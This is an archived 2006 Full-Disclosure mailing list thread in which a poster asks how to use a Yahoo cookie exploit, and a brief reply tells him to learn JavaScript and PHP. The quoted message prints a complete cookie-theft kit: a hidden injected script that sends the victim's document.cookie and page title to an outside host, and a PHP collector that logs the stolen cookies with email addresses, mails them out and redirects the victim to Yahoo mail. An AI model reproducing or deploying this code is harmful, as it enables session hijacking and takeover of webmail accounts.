[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] Help me with Yahoo cookie exploit



Justin,

If you don't know how to use them either learn JavaScript and PHP or give up.

Aaron
 
  ----- Original Message ----- 
  From: iustin Darloman 
  To: full-disclosure@xxxxxxxxxxxxxxxxx 
  Sent: Monday, April 17, 2006 6:48 PM
  Subject: [Full-disclosure] Help me with Yahoo cookie exploit









    Hello my name is Justin and i want to ask you if there is a program that 
exploits cookies on yahoo ...i can't understand what those mean... and i can't 
use the vulnerability...please help me 

    i found this script 

    <DIV id=b style="VISIBILITY: hidden">
    <STYLE onload="window.status=''; var x = 
escape(document.cookie).substr(0,1900); b.innerHTML='<iframe 
src=http://domeniu.com/as.php?id='+document.title.substring(document.title.indexOf('-')+2)+'&amp&cookie=\''+x+'\'
 frameborder=0 width=10 height=10></iframe>';" type=text/css>
    </STYLE>
    </DIV>

    and this php file 

    <?php
    $file="cookie.log";
    if (isset($_REQUEST["cookie"]) && isset($_REQUEST["id"])){
    $logcookie = $_REQUEST["cookie"];
    $logcookie = rawurldecode($logcookie);
    $logemail = $_REQUEST["id"];
    $logemail = rawurldecode($logemail);
    if (file_exists($file)) {
    $handle=fopen($file, "r+");
    $filecontence=fread($handle,filesize("$file"));
    fclose($handle);
    }
    $handle=fopen($file, "w");
    fwrite($handle, "$logemail - $logcookie\n $filecontence\n ");
    //Writing email address and cookie then the rest of the log
    fclose($handle);
    mail("email", "$logemail", "$logemail\n$logcookie\n$filecontence\n");
    }
    header("Location: http://mail.yahoo.com";);
    ?>

    but i don't know how to use them :(...please help me...
    WIth respect, Justin!




------------------------------------------------------------------------------


  _______________________________________________
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/


------------------------------------------------------------------------------


  No virus found in this incoming message.
  Checked by AVG Free Edition.
  Version: 7.1.375 / Virus Database: 268.4.1/312 - Release Date: 14/04/2006
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/